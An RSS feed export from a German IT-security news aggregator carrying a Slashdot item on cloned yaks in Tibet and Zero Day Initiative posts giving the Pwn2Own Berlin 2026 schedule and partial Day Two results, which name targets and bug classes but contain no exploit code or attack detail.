<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=grpm+v050+gentoo+coverage%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 01 Aug 2026 10:56:20 +0200</lastBuildDate>
<pubDate>Sat, 01 Aug 2026 10:56:20 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=grpm+v050+gentoo+coverage%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=grpm+v050+gentoo+coverage%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[China is Creating a Herd of 100 Elite Yak Clones]]></title>
<description><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both...]]></description>
<link>https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</guid>
<pubDate>Sat, 25 Jul 2026 20:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... 


Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... 


[S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." 

"History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed."

 

The article points out that the number of wild yaks "dropped more than a third in the last 30 years,
with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." 


The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=China+is+Creating+a+Herd+of+100+Elite+Yak+Clones%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2Fchina-is-creating-a-herd-of-100-elite-yak-clones%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/25/1656259/china-is-creating-a-herd-of-100-elite-yak-clones?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Berlin 2026: The Full Schedule]]></title>
<description><![CDATA[Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.Earlier today, we held the ran...]]></description>
<link>https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.</p><p class="">Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.</p><p class="">In case you missed it, you can watch the draw <a href="https://youtube.com/live/Dtp-ICE0crw" target="_blank">here</a>. </p>





















  
  




  


  
  
    
    
      
        
        
        
          
          
            
        
        
          
        
        
            
          
        
        
      
    
  
  
    



  



  

<p>Jump to: 
<a data-preserve-html-node="true" name="top"></a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day1" tabindex="0">Day One</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day2" tabindex="0">Day Two</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day3" tabindex="0">Day Three</a></p>
<p><a data-preserve-html-node="true" name="day1"></a></p>




  <p class="">DAY ONE</p><p class=""><strong>Thursday, May 14 - 1030</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1130</strong></p><p class="">k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1300</strong></p><p class="">Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1400</strong></p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.</p><p class="">Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1500</strong> </p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1530</strong></p><p class="">maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1600</strong></p><p class="">Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1630</strong></p><p class="">haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1730</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1800</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1830</strong></p><p class="">Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1900</strong></p><p class="">haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day2"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY TWO</p><p class=""><strong>Friday, May 15 - 1030</strong></p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class="">Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1130</strong></p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1300</strong></p><p class="">Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1330</strong></p><p class="">Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1400</strong></p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1430</strong></p><p class="">Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class="">David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1530</strong></p><p class="">Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1600</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1630</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1700</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1800</strong></p><p class="">Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day3"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY THREE</p><p class=""><strong>Saturday, May 16 - 1100</strong></p><p class="">Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1330</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1430</strong></p><p class="">splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1600</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Berlin 2026 - Day Two Results]]></title>
<description><![CDATA[Day Two of Pwn2Own Berlin 2026 and the stakes continue to rise! Security researchers are back on the Pwn2Own stage, pushing enterprise systems to their limits as the competition heats up. More exploits, more surprises, and more standout moments are unfolding, so follow along here for live updates...]]></description>
<link>https://tsecurity.de/de/3694565/hacking/pwn2own-berlin-2026-day-two-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694565/hacking/pwn2own-berlin-2026-day-two-results/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:55 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Day Two of Pwn2Own Berlin 2026 and the stakes continue to rise! Security researchers are back on the Pwn2Own stage, pushing enterprise systems to their limits as the competition heats up. More exploits, more surprises, and more standout moments are unfolding, so follow along here for live updates as the race for Master of Pwn intensifies. There were plenty of big targets on the schedule today, including SharePoint, Exchange, and Safari.</p><p class="">Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg" data-image-dimensions="1920x1080" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w" width="1920" height="1080" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a74891c9-207d-4f66-b6af-b817cc37747d/Day+Two_P2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">We’ll be posting real-time updates and results throughout the competition right here on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>





















  
  



<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Tao Yan &amp; Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3078b5fc-5631-4eab-a575-6a6ff9addd33/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/866d6dae-40a6-46fc-a186-f0c04a015115/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/293da053-d5eb-4c61-8d64-9609563a770d/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) &amp; Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
